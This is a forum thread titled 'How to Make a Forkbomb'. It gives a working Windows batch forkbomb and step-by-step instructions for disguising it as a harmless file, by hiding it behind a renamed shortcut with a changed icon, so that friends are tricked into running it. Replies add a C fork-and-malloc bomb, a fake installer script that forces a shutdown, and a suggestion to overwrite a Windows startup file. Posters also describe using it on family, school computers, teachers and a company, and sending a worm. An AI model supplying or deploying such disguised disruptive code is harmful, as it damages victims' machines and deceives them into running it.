How to Make a Forkbomb

[.Severed]

For those of you who don't know what a forkbomb is, it is a process in your computer that opens up millions upon millions of command prompt windows. It will open these windows so fast, that your control + alt + delete window will merely be covered up by them. The only way to stop a forkbomb, is to press that little power button on your computer.
MAKING THE FORKBOMB
1. Open up notepad
2. Type in this code ::LOL.bat
:s
start %0 "LOL.bat"
goto s Now I named the forkbomb LOL. You can name it anything you want, just don't forget to edit it.
3. Save as LOL.bat

SENDING THE FORKBOMB TO FRIENDS FOR THE LULZ
1. Put your forkbomb in a folder. (Don't forget, you want to make everything about your prank believable, so name stuff the way you want it to be named)
2. Go into that folder and right click your forkbomb file
3. Select "Create Shortcut"
4. Now there should be a shortcut right next to that. Right click the shortcut and go into the properties.
5. Go into the shortcut tab and click "Change Icon." There might be an error message, just ignore it.
6. Change it to whatever you are pretending the file to be, or somewhere close.
7. Rename the shortcut so that there is no "Shortcut to" at the beginning of the file name.
8. Right click your original forkbomb file and go into properites.
9. Look down and set the file to "hidden"
10. Press ok and go up to tools on the folder menu bar thing
11. Go to the view tab and look for the thing that says "Do not show hidden files and folders." Select that and hit ok.

And bam, you have an invisible forkbomb. Maybe even place the real file you were going to send in there and make it hidden, just to add some filesize weight on the thing. (It will look suspicious if you told him you were sending a movie and the filesize is only 1kb)

[Überschall]

Trying this. If only I had king_of_all_stickmen on MSN.

Works. Installed it on my sister's comp. That bitch will look oddly when her comp goes up.

[Deathbat.]

Oh im having so much fun.

[Slayer]

I'll definitely use this on some friends...

[Deathwish]

Could be placed in the start up folder to create epic lulz.

[.Severed]

Hmm, maybe there's a code to send it to the startup folder.
D:

[The Pirate]

I remember when my cousin and I first found out how to do these things ages ago. It's a simple computer prank, but it was fun at the time.

[Deathwish]

Haven't done anything in batch for a while but maybe a write to command would work.

[.Severed]

Deathwish, find out ze code, and PM it to me.
I'll smex you real good like.

[Deadface.]

Next time I go to a friend's house, I'm gonna do this and disguise it as his Internet Explorer.


FOR THE LULZ!


EDIT: Better yet, I'm doing this to a couple of the school computers.

[Draco'X]

You just made my day. thx.

[Überschall]

Next time I go to a friend's house, I'm gonna do this and disguise it as his Internet Explorer.


FOR THE LULZ!


EDIT: Better yet, I'm doing this to a couple of the school computers.

That's a sweet idea, I'll ****ing do that. That'll be some epic lulz.

[Bricked]

Oh no! HACKERS ON STEROIDS

CLOSE UP YOUR CURTAINS AND GET A DOG

Too bad next year I'm going to a school where everyone uses Macs (and even the teachers say PCs crash every 3 seconds or some shit like that), if I wasn't I'd hax all the computers, and replace every shortcut on the desktop with a shortcut to the Forkbomb.

[2-D]

Eh, most people wont open something ****ing called LOL.bat.

Renaming LOL.bat to something else, like StartHl2nonsteam.bat in the .txt and the name of the .bat would be better, but whatever, yo.

[Bricked]

Not quite...

1. Put your forkbomb in a folder. (Don't forget, you want to make everything about your prank believable, so name stuff the way you want it to be named)

5. Go into the shortcut tab and click "Change Icon." There might be an error message, just ignore it.
6. Change it to whatever you are pretending the file to be, or somewhere close.

Because you can rename shortcuts whatever you like. "Shit.txt", for instance. And it won't look like a .bat file because you change the icon.

[2-D]

Ah yeah, i didnt really read that part, lol. Nevermind.

[Deadface.]

One more week...


Also, all our school's computers are either Gateway or Dell. Forkbombs 4 the lulz! AGAIN!

[Blindsight]

MUhahahahaha...we can start a revolution!!!!!

[ultramega]

Simple and old, but still awesome.

[Residue]

A more evil way to express your hatred to an enemy.

[Checkers]

What exactly does it do?

[Gavel]

What exactly does it do?
You know, maybe if you had actually READ THE TUTORIAL you would know what it does.

For those of you who don't know what a forkbomb is, it is a process in your computer that opens up millions upon millions of command prompt windows. It will open these windows so fast, that your control + alt + delete window will merely be covered up by them. The only way to stop a forkbomb, is to press that little power button on your computer.

[Alpha.]

To bad you cant send this thrue MSN : ' (

[MiniMan]

Just did his, man how could I not know this! I request more simple and cool pranks like this.

[Big Bang]

There's a fairly easier way.

On batch, you just have to do

@echo off
rem You didn't add this, it is important because it will disguise your code, and won't print the commands you run, only the results. Oh, and rem is the comment command, it will not show up in the command, you can either delete this or leave it in the code
echo Haha sucker!
rem The line above will print Haha sucker! on the command box
start "openme.bat"
rem The line above will open "openme.bat"

Save this as openme.bat. If you remove the rem comments, you'll see that this command is nothing more than 3 easy to remember lines.This command is different from the one on the thread as it will not open on background, it will spawn thousands of screens, all saying the text you put after the "echo" command (Not @echo off, that's a completely different thing).

Now the following command is in C, and is more powerful than the last command, so I won't give you any instructions on how to use it, as it may be a pain in the ass to remove.

#include <unistd.h>
int main() {
/* An infinite loop. */
while(1) {
/* Try to allocate 1MB of memory. */
malloc(1048576);
/* Fork the process so that we have exponential growth in memory. */
fork();
}
}

Might not work on more powerful computers, as it might hit the system process limit.


Add any of those to your first post if you like.

[Apples]

How do you send it to friends exactly?

[Big Bang]

How do you send it to friends exactly?

Zip 'em, send 'em and see ya later bye!

[Steyene]

Lol, did this to every icon on a desktop except use

start;
start
copypasta

Then after about 4 or 5 hundred

shutdown -s -t 0

That pretty much just shuts down their comp when they are at their whits end.

Its also fun to ask them if you can "fix" their comp and hold down windows E of F.

[Zën]

Cool! Thanks a lot dude!

I'm sending this to a few mother****ers!

:D

[Big Bang]

Lol, did this to every icon on a desktop except use

start;
start
copypasta

Then after about 4 or 5 hundred

shutdown -s -t 0

That pretty much just shuts down their comp when they are at their whits end.

Its also fun to ask them if you can "fix" their comp and hold down windows E of F.

I don't get what you did in the first part.

Use pause or sleep x.

Infact, do it like this.

@echo off.
echo This program will install SuperBlockMaster 3d Deluxe edition in your computer
rem Change the echo line to whatever you want
pause
rem The pause command shows the "Press any key to continue" thing.
echo Please wait...
sleep 60
shutdown -s -f -t 0
rem The -f option is to force all running applications and processes to close if they refuse to shutdown.

If you would like to add a message to explain the shutdown, put -c after the -t 0 part, then type your message.It can be up to 127 characters long. "Windows is rebelling against you, because you suck.System is shutting down.".

You can remove the "rem" comments if you like.

[shard of darkness]

whoa wait, so just some text can make stuff happen????:Ohhhhh:

[Wtf]

I can't find the 'Do not show hidden files and folders' button on the view bar.

[Big Bang]

whoa wait, so just some text can make stuff happen????:Ohhhhh:

Yes, dumbass. That's what a programming language is.

[shard of darkness]

Heh, sweetness. I'm not the kinda guy who goes into like programming and stuff

[Big Bang]

Heh, sweetness. I'm not the kinda guy who goes into like programming and stuff

You apparently aren't the kind of guy who knows what he's saying. Or the kind of guy that can use common sense to avoid doing stupid posts.

[Zën]

whoa wait, so just some text can make stuff happen????:Ohhhhh:

LOL. This goes to my sig.

[xoptikx]

lol, i just made on in class today and the teacher saw the outcome becuz i was showing fome ppl, she was like "It's bad enough that the computers are 10 years old and your messing them up" is imply sat there and restarted it, then she was like typing up some program called clean slate and im like, your point,? haha, anyway, can't wait to test on some of my friends, lol,

question: i was reading on some of the post here and there are ways to give it commands like having it shutdown? or adding text to it, can somebody plz explain on how to add the text to it

anyway, funny joke, i should use it on some computer noobs, set it as there internet explorer or send it to one of my friends making it look like it's on of my animations i just made, hehe

[xoptikx]

sorry for the double post, but is there any link anybody can post for the batch language i know that goto is apparently "go to" to something, iono, anyway, im gonna expirament with it, and i still dont know what echo means, srry if i sound like a noob, just wanted to expirament with it

[sticky95]

I could email it to one of my teachers... but they'd know who sent it to them.

[Big Bang]

sorry for the double post, but is there any link anybody can post for the batch language i know that goto is apparently "go to" to something, iono, anyway, im gonna expirament with it, and i still dont know what echo means, srry if i sound like a noob, just wanted to expirament with it

Well, first thing you should know, Batch isn't a language. Is an specific file system used by DOS that has a serie of important commands

Here's a list with all possible commands: http://www.ss64.com/nt/

Second.Batch files are HORRIBLE for anything else than basic pranking or administration things. Don't expect to do the next red alert virus or the next Half Life with it.

Third, echo is one of the most basic commands in the whole filesystem. Echo can be used in various ways:

1)You can specify "echo off" at the beggining of the file to indicate it will only throw in the responses and not the command entered.
2)Echo is the return command. You just write that command and then you write whatever text you want to put in.

http://www.ss64.com/nt/echo.html

[finley]

hey for those of u out there that have done this thing u better have a ****in ip changer and u better hope that after u send the fork bomb udont save it as a file on ur computer cause it takes out all recipients .... i had all kinds of people after me cause i dont it to a company first i sent them and e bomb to screw with them then i sent them a fork bomb and crashed there computers i also resized the file to were it would do more damage but yeah u can send it in email on myspace and just in email and no one canm get one through to me i have 4 fire walls and 4 virus scanners running all at once

[Lone Wolf]

hey for those of u out there that have done this thing u better have a ****in ip changer and u better hope that after u send the fork bomb udont save it as a file on ur computer cause it takes out all recipients .... i had all kinds of people after me cause i dont it to a company first i sent them and e bomb to screw with them then i sent them a fork bomb and crashed there computers i also resized the file to were it would do more damage but yeah u can send it in email on myspace and just in email and no one canm get one through to me i have 4 fire walls and 4 virus scanners running all at once

Oh god. I am laughing so hard right now.

[stare]

Lol, damn. What company?

[Scarecrow]

hey for those of u out there that have done this thing u better have a ****in ip changer and u better hope that after u send the fork bomb udont save it as a file on ur computer cause it takes out all recipients .... i had all kinds of people after me cause i dont it to a company first i sent them and e bomb to screw with them then i sent them a fork bomb and crashed there computers i also resized the file to were it would do more damage but yeah u can send it in email on myspace and just in email and no one canm get one through to me i have 4 fire walls and 4 virus scanners running all at once

I absolutely rofl'd.

[Guest.]

hey for those of u out there that have done this thing u better have a ****in ip changer and u better hope that after u send the fork bomb udont save it as a file on ur computer cause it takes out all recipients .... i had all kinds of people after me cause i dont it to a company first i sent them and e bomb to screw with them then i sent them a fork bomb and crashed there computers i also resized the file to were it would do more damage but yeah u can send it in email on myspace and just in email and no one canm get one through to me i have 4 fire walls and 4 virus scanners running all at once

HAHAHAHAHAHA. God damnit, just shut up man.

Oh wow.

[notmaggot]

i lold.
also finley was my 6th grade social studies teacher's last name. loooool

[Kitsune]

I tried it out on my computer. I had to restart it.

<3

I'm going to have so much fun with the command prompt from now on.

Finley = Biggest noob evar?

[Nukem]

I had to restart mine too. I later actualy got my ctrl+alt+delete to work, but then it froze {:(

Finley made a heck of an entrance didnt he?

[Brian C]

Awesome. I made one that looks like Internet Explorer.

[Nukem]

Awesome. I made one that looks like Internet Explorer.
thats going to cause all sorts of hell (=fun!)

[DNA]

In the Windows folder there's a bat file called "Winstart".
I haven't tried this, but changing the code to

::winstart.bat
:s
start %0 "winstart.bat"
goto s

Completely destroy your comp?
I'm not sure, I haven't tested it -.-

[RawGreen]

cool, I can send this to spammers that want my personal info ^^

EDIT: I sent a worm virus to a spammer, I haven't gotten spammers for a month and a half after that.